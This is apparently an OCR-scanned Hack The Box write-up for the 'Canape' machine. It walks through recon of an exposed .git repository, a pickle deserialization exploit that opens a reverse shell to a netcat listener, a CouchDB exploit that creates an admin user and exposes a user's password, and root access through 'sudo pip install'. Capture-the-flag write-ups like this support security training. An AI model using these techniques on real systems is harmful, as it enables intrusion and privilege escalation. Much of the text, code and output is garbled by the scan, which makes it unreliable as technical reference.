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1 FOOTHOLD

Nmap output shows only one tcp open port, however a .git directory and subdomain were found:

~/hackthebox/Canape$ nmap —A -oN nmap.tcp 19.10.1@.70
'ng Nmap 7.91 ( https: ap.org ) at 2021-01-88 @©:51 CET
an report for 190.10.10.790 (10.18.10.78)
up (@.045s latency).
Mot shown: 999 filtered ports
PORT STATE SERVICE VERSION
80/tcp open  http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
19.18.10.70:808/.git/
Git repository found!
Repository description: Unnamed repository; edit this file 'description' to name the...
Last commit message: final # Please enter the commit message for your changes. Li...
Remotes:

e: Simpsons Fan Site
-trane-info: Problem with XML

Service detection pexfoxmnd P1935' report any 1y L a :fﬁnmap.org!&ubmitf
Nmap done: 3 3 .

cloning the git repository

:~/hackthebox/Canape$ git clone http://git.ca b/simpsons.
Cloning into "simpsons’
remote: Counting objects: 49, done.
remote: Compressing objects: (47/47), done.
: 49 (delta ), reused @ (delta @)

(49/49), 163.16 KiB | 1.58 MiB/s,
:~/hackthebox/Canape$ 1s
linpeas.sh 1lse.sh nmap.tcp pspyb64

found an interesting comment in layout.html:

-:"-
c8a37430983603aealafo8945bd707a7eab0ff4dbd - temporarily hide check
<11 class="nav-1tem'
<3 class="nav-link" href="/check">Check Submission</a=>
'-_."IlJ_-.?‘
--

The comment above refers to a git commit in which a vulnerability was hidden. After inspecting the __init.py__ file it was found
that the /check http route was hidden because it allows a deserialization attack via cPickle:
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commit cB8a74a@98ab6Paacalaftogo!

Author: Homer Simpson <homerj@l121goutlook.com>
Date: Mon Jan 15 18:46:30 2018 -0E@0

temporarily hide check due to vulerablility

The following exploit creates a serialized object that will trigger a reverse shell:

2 p = pickle.dumps(d())

4 owit (
write(p)

quests.post( , da 2 iy 2 B
8 requests.post( , dat : md5(p + ).hexdigest()})

Prepare a netcat listener and execute the expoit:

:wfhackthehﬂxffanapﬂfniwpﬁnnﬁH nc -lvnp 9123
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9123
Ncat: Listening on ©0.0.0.0:9123
Mcat: Connection from 10.18.190.78.
Ncat: Connection from 10.18.10.70:54526.
/bin/sh: @: can't access tty; job control turned off
$ whoami
www—data

51

2 USER PRIVILEGE ESCALATION

Avulnerable couchdb version was found:

v -datagcanape: fvar/waw /html/simpsons$ curl http://localhost:5984/

{"couchdb":"Welcome","version":"2.8.8"," "vendor":{"name":"The Apache Software Foundation"}}
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After copying this exploit to the server it is possible to create an admin user for couchdb:

www-datagcanape:/tmp$ python p.py -u topo -P
[+] User to create: topo

[+] Password: gigio

[+] Attacking host 127.0.8.1 on port 5

[+] User topo with password gigio succes

9c5ebdf3f7ad@lbebbs8fc
9c5ebdf3f7ad0@1bebb8fcd

739c5ebdf3f7a001bebb8fcs

mom

96","item":"ssh”, "password"”: "0B4jyA@xtytZi7esBNG

Now upgrade the terminal in order to switch user with su:

$ python -c "import pty; pty.spawn("/bin/bash”
www-data@canape:/$ |

www-datadcanape:/$ su homer -
su homer -
Password: @B4JyADxtytZiT7esBNGp

ish: cannot set terminal process group (-1): Inappropriate ioctl for device
ish: no job control im this shell

b:
D
homerg@canape:/$ [

hﬂmﬂldeﬂHﬂ@:
cat user.
DCce9l18696
hﬂmﬂIdeﬂiﬂ
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3 ADMIN PRIVILEGE ESCALATION

sudo -l shows that it is possible to use pip install with root privileges

nape:~/bin$ python -c '"import pty;pty.spawn("/bin/bash")
python —-c "import pty;pty.spawn{”/bin/bash")
homer@canape:~/bin$ sudo -1

sudo -1

[sudo] password for homer: @B4jyA@xtytZi7esBNGp

Matching Defaul entri r homer on

bin%: fusr/local/bin’: fusr/sbiny: /usr/bin%:/sbin%:/bin\:/snap/bin
User homer may run the following commands on canape:

root) fusr/bin/pip install =+
homer@canape:~/bin$ |

Leveraging the pip command with sudo, a root shell was obtained

/bin/sh",
<5 ( > Jtmp/te
) fb1n$ sudo fu;xfblnfplp inst ffmpffnsf
;udc fu;xfblnfplp inst

oot) groups=0(root)
fig: not found

UNKNOWN group default glen 1

UP group default glen 1000
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